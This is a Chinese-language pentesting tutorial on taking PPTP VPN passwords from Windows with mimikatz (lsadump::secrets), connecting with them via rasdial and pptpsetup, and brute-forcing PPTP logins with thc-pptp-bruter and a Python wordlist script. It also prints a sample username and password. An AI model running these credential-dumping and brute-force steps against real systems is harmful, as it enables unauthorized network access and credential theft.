滲透技巧——PPTP口令的獲取與爆破
0x00 前言
PPTP(即點對點隧道協議)可以使遠端使用者通過撥入ISP訪問企業內網。
在滲透測試中,如果獲得了使用者的PPTP口令,就能遠端撥入內網,做進一步滲透。
本文將要介紹命令列下匯出PPTP配置資訊和口令的方法,開源PPTP口令爆破的指令碼。
0x01 簡介
本文將要介紹以下內容:
·Windows系統命令列下PPTP配置資訊和口令的獲取
· Windows系統命令列開啟和關閉VPN連線
· Windows系統連線PPTP的方法和細節
· Kali系統連線PPTP的方法和細節
· PPTP口令爆破的指令碼細節
0x02 Windows系統命令列下PPTP配置資訊和口令的獲取
1、獲取PPTP配置資訊
Windows系統撥號和寬頻連線的配置資訊儲存在固定位置,路徑如下:
%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk
檢視該檔案即可獲得PPTP連線的配置資訊,包括伺服器IP,不包含連線使用者名稱和口令
VPN連線的名稱為VPN Connection,如下圖:
PhoneNumber表示連線的伺服器IP,如下圖:
2、獲得內網IP
ipconfig
獲得內網IP,如下圖
3、獲得PPTP口令
使用工具mimiaktz,命令如下:
mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
獲得連線使用者名稱和口令,如下圖:
4、命令列下連線VPN
rasdial "VPN Connection" zhaodg oZ7iFk25
如下圖:
5、命令列關閉VPN連線
rasphone -h "VPN Connection"
0x03 Windows系統PPTP連線的方法和細節
1.如下圖所示:
2.如下圖所示:
3.如下圖所示:
4.選擇建立新連線
5.填入伺服器IP,選中稍後連線
6.填入使用者名稱口令
7.點選連線後,選擇跳過
接下來修改VPN屬性,Security->Type of VPN,選擇Point to Point Tunneling Protocol(PPTP)
注:建立成功後,指定Point to Point Tunneling Protocol(PPTP)可縮短連線等待的時間
8.連線
0x04 Kali系統PPTP連線的方法和細節
方法1:通過介面
1.安裝
apt-get install network-manager-pptp network-manager-pptp-gnome
2.Settings->Network->VPN
3.Identity->Advanced…
去掉PAP,CHAP,EAP
選擇Use Point-to-Point encryption(MPPE)
注:如果無法連線,修改檔案/etc/NetworkManager/NetworkManager.conf
managed=false修改成managed=true
重啟系統
方法2:通過pptpsetup
1.連線
pptpsetup --create vpn --server 5x.xxx.xxx.xx2 --username zhaodg --password oZ7iFk25 --encrypt --start
遠端IP為192.168.0.1,如下圖
2.修改路由表
將預設路由表修改為遠端IP
route del default route add default gw 192.168.0.1
0x05 PPTP口令爆破
PPTP伺服器預設開放1723埠
1、PPTP brute forcer
原始碼:
ofollow,noindex">https://github.com/BlackArch/thc-pptp-bruter
kali預設支援
通過字典爆破的命令如下:
cat wordlist | thc-pptp-bruter -u zhaodg <IP>
如下圖
注:PPTP搭建於centos
2、編寫python指令碼實現
有些裝置的PPTP無法使用PPTP brute forcer進行爆破
於是嘗試使用python呼叫pptpsetup實現
通過os.popen執行命令,測試程式碼如下:
import os def test_vpn(ip,name,password): command = 'pptpsetup --create testvpn --server '+ip+' --username '+name+' --password '+password+' --encrypt --start' print command vpn_status =os.popen(command).read() print vpn_status if __name__ == '__main__': test_vpn('5x.xxx.xxx.xx2','zhaodg','oZ7iFk25')
測試過程中出現bug:
如果登入成功,程序pptp不會退出,導致指令碼阻塞,無法獲得回顯。
只有結束程序pptp後,才能獲得回顯。
所以這裡需要使用子程序的方式實現:子程序執行pptpsetup命令,父程序不等待。
隨之產生新的問題:如何獲得子程序的結果,判斷是否登入成功。
這裡選擇一個簡單直接的方法:等待10秒,然後執行ifconfig,如果登入成功,會產生新的網絡卡裝置ppp0,否則,當前使用者名稱口令錯誤。
登入成功後,選擇清理程序,執行命令:
pkill pptp
清除連線資訊:
pptpsetup --delete testvpn
完整程式碼可參考:
Python/blob/master/pptp_password_hack.py" target="_blank" textvalue="https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py" rel="nofollow,noindex">https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py
程式碼會讀取檔案wordlist,獲得口令字典,對指定IP嘗試連線,連線成功後記錄口令,清除程序和連線
測試如下圖:
0x06 小結
本文介紹了命令列下匯出PPTP配置資訊和口令的方法,通過命令列能夠實現開啟和關閉VPN連線。
例項演示了Windows和Kali系統連線PPTP的方法,最後開源了呼叫pptpsetup實現PPTP口令爆破的指令碼,分析指令碼實現細節。